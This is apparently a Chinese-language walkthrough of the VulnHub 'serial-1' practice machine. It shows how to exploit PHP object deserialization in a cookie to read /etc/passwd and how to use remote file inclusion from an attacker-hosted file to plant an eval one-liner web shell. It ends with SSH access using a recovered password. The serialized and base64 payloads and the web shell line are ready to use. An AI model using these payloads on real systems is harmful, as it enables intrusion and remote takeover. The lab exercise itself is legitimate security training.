环境搭建
靶机下载地址:
https://www.vulnhub.com/entry/serial-1,349/
下载完毕后,使用Vmware新建虚拟机打开:
步骤如下:
1.新建虚拟机,选择自定义
注:若没有看到相应的步骤直接选择下一步(没有动过默认)
2.选择稍后安装操作系统:
3.操作系统的配置。
4.这里选使用现有虚拟磁盘
5.选择保持现有格式
6.打开安装好的虚拟机
渗透过程
使用工具查找虚拟机ip
访问web服务
根据提示使用burpsuite抓包查看Cookie
我们可以看到,这是一串base64编码,找一在线编码平台解码。
O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
o:代表存储的是对象(object),如果传入的是一个数组,那它会变成字母a。
4:表示对象的名称有4个字符。User表示对象名称,刚好是4个字符。
2:表示有2个值
s:表示字符串,数字表示字符串的长度,s:10:" User name";
目录扫描
使用工具扫描端口与目录,尝试访问。
访问backup目录
发现一个zip文件,下载后打开查看,为三个源代码文件。
代码审计
通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。
我们尝试在抓包中删除Cookie,发现cookie可更改。继续分析代码,发现Wel实例销毁时调用了公共方法hadler,而hadler方法不止在Welcome类中有,在Log类中不仅存在hadler方法,还存在文件包含,所以替换COOKIE中的Welocome实例
由于目标系统为Linux,所以文件包含passwd
直接用以下替换cookie
O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}
base64编码后:
Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6Mzoic2s0IjtzOjM6IndlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==
发现passwd文件显示了出来。
GetShell
尝试远程文件包含
开启Windows系统的服务器,根目录下创建一个1.txt文件
<?php phpinfo();?>
更改COOKIE,要改成自己的window的ip
O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"在这里替换";}}(注:前面的字符数11要根据自己的ip长度修改,自己ip要加协议)
将1.txt改为一句话代码,发送。
<?php @eval($_POST['cmd']);?>
用蚁剑连接。(确保火绒等安全软件关闭)
测试连接连接成功
浏览目录,发现根目录下有credentials.txt.bak文件
应该是sk4用户的密码,由于22端口开启,尝试远程连接
ssh sk4@192.168.3.131
连接成功。获得账号密码。